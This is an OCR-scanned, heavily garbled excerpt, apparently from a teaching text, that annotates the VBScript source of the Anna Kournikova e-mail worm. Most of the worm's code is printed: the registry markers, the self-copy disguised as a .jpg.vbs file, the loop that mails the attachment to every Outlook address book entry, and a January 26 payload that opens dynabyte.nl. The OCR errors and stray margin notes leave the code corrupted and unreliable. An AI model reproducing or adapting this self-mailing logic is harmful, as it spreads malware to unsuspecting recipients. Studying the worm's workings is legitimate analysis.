Anna Kournikova: The source code of the Anna Kournikova e-mail worm breaks down into

distinct parts, the worm transmits itself by e-mail to other computers, and delivers its payload on Jan 26
attempts to connect to the website “dynabyte.nl”.

'Vhs.0nTheFly Created By OnTheF ly —Author's Comments

Tellz conputer to ignore
errors when this file runs

On Error Resume Next

Write to Registry if virus is running the first time ST BOSIE e
info to the registry
WEoripc3hell = CreateChbject ("Wicript.3hell™) _
WScriptShell.regurite ("HECU\ softwarelOnTheFlyh ", "lorm made with Vhswg 1.50b7) GiEE @ il Sieam Gt

. . . . . . . copy the WIORM
Fileldystemlhiject = Createlbject ("scripting.filesystemobject™)

FiledystemCbhject.copyfile (WScript.scriptfullname, Filed3ystemObject.Get3pecialFolder(0) & ™\ AnnaKournikova.jpg.vha™)

If WScriptShell.regread | "HECUYsoftwareh OnTheF lytmailed™) <> "1™ Then

doflald () [check whether the virus has b il dl et
End If ECH Wy e e VIFUE Nas DEen Mmalel v ElSE

Transmission

Function doMail()
Cn Error Resume INext

Cutlookipp = CreateChject ("Outlook.lpplication™)
If Ooutlookipp = "Outlook"™ Then
MAF INamel3pace = Outlooklipp.GetNamelpace ("MAFPI™)
Addresslists = MAPINameSpace.AddressLists
For Each address In AddressLists
If address.AddressEntries.Count <> 0 Then e ol crk s
entryCount = address. AddressEntries.Count ———————————4ﬂ0mevay”ﬁinmeomhok
For i = 1 To entryCount
newltem = Outlookipp.Createltem(0)

currentiddress = address. AddressEntries (i) Attach currert (infected)
newltem.To = currentlddress.Address Hocument o e-mai
newlcem.3ubject = "Here wyou have, ;o)™

newltemw.Body = "Hi:" & vbCrLf & "Check This! & vbCrLf & "¢
attachiments = newltem. Attachients

attachmwents. dd (FileSystenmthiject . GetSpecialFolder (D) & ™ AnnaKournikeova.jpg.vhs™)

newltem.leletelfterdubmit = True

If newltem.To <> "" Then
newltem. 3endl()
WScriptShell.regurite ("HECTY software' OnTheFlymailed™, "1™

End If

Mext
End If
Mext

End If
End Function

Set worm mailed flag in
the windows registry

] Replication and Infection
thisZcript = FiledystemChject.opentextfile (Wicript.scriptfullname, 1),

thisScriptText = thisScript.readall readall reads the enfire cortents of the Text
thiszZer ipt.Close () file and copy it to the text variable
Infect again
if not already done
jiia}
If Not (FileSystemObiject.fileexists (Wicript.scriptfullname)) Then
newFile = FileSystemChiject.creat tfile (Wicript.scripofullname, Trues)
newFile.write(this3cripttext) it file does not exist then creste a new file]
oA (e [and write the cortents of the text variable to the newy file]
End If
erye [keeg doing thiz as long &= the file Fes not been maied]

V' Payload IFthe day is 26th Jan,
then oata the website
If Month(MNow) = 1 And Day(MNow) = 26 Then

Wicript3hell.run("Hetp://'vuw.dynabyte.nl™, 3, False)
End If




